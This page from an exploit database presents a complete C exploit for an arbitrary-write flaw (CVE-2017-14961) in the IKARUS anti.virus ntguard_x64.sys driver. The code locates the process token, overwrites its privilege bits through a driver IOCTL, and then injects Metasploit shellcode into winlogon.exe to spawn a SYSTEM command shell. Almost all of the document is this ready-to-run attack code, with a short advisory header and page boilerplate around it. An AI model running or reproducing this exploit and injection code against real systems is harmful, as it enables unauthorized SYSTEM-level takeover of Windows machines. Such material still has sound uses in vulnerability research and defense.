IKARUS AntiVirus 2.16.7 Privilege Escalation

2017.11.14
Credit: Parvez Anwar
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

/* Exploit Title - IKARUS anti.virus Arbitrary Write Privilege Escalation Date - 13th November 2017 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - https://www.ikarussecurity.com/ Tested Version - 2.16.7 Driver Version - 0.18780.0.0 - ntguard_x64.sys Tested on OS - 64bit Windows 7 and Windows 10 (1709) CVE ID - CVE-2017-14961 Vendor fix url - Soon to be released Fixed Version - 2.16.18 Fixed driver ver - 0.43.0.0 Check blogpost for details: https://www.greyhathacker.net/?p=995 */ #include <stdio.h> #include <windows.h> #include <TlHelp32.h> #pragma comment(lib,"advapi32.lib") #define SystemHandleInformation 16 #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) typedef unsigned __int64 QWORD; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; QWORD Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); DWORD getProcessId(char* process) { HANDLE hSnapShot; PROCESSENTRY32 pe32; DWORD pid; hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapShot == INVALID_HANDLE_VALUE) { printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n"); return -1; } pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapShot, &pe32) == FALSE) { printf("\n[-] Failed to call Process32First()\n\n"); return -1; } do { if (stricmp(pe32.szExeFile, process) == 0) { pid = pe32.th32ProcessID; return pid; } } while (Process32Next(hSnapShot, &pe32)); CloseHandle(hSnapShot); return 0; } int spawnShell() { // windows/x64/exec - 275 bytes http://www.metasploit.com // VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"; char* process = "winlogon.exe"; DWORD pid; HANDLE hProcess; HANDLE hThread; LPVOID ptrtomem; pid = getProcessId(process); if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL) { printf("\n[-] Unable to open %s process\n\n", process); return -1; } printf("\n[+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid); if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL) { printf("\n[-] Unable to allocate memory in target process\n\n"); return -1; } printf("\n[+] Memory allocated at address 0x%p", ptrtomem); if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL))) { printf("\n[-] Unable to write to process memory\n\n"); return -1; } printf("\n[+] Written to allocated process memory"); if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL) { CloseHandle(hThread); printf("\n[-] Unable to create remote thread\n\n"); return -1; } printf("\n[+] Created remote thread and executed\n\n"); return 0; } QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID) { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo; ULONG i; PSYSTEM_HANDLE pHandle; QWORD TokenAddress = 0; DWORD nSize = 4096; DWORD nReturn; BOOL tProcess; HANDLE hToken; if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE) { printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError()); return -1; } NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } do { nSize += 4096; pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH); printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken); for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++) { if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken) { TokenAddress = pSysHandleInfo->Handles[i].Object; } } HeapFree(GetProcessHeap(), 0, pSysHandleInfo); return TokenAddress; } int main(int argc, char *argv[]) { QWORD TokenAddressTarget; QWORD SepPrivilegesOffset = 0x40; QWORD PresentByteOffset; QWORD EnableByteOffset; QWORD TokenAddress; HANDLE hDevice; char devhandle[MAX_PATH]; DWORD dwRetBytes = 0; printf("-------------------------------------------------------------------------------\n"); printf(" IKARUS anti.virus (ntguard_x64.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n"); printf("-------------------------------------------------------------------------------\n"); TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId()); printf("\n[i] Address of current process token 0x%p", TokenAddress); TokenAddressTarget = TokenAddress + SepPrivilegesOffset; printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget); PresentByteOffset = TokenAddressTarget + 0x2; printf("[i] Present bits at 0x%p will be overwritten with 0x11\n", PresentByteOffset); EnableByteOffset = TokenAddressTarget + 0xa; printf("[i] Enabled bits at 0x%p will be overwritten with 0x11", EnableByteOffset); sprintf(devhandle, "\\\\.\\%s", "ntguard"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . .\n"); getch(); DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL); DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL); printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n"); CloseHandle(hDevice); printf("[*] Spawning SYSTEM Shell"); spawnShell(); return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top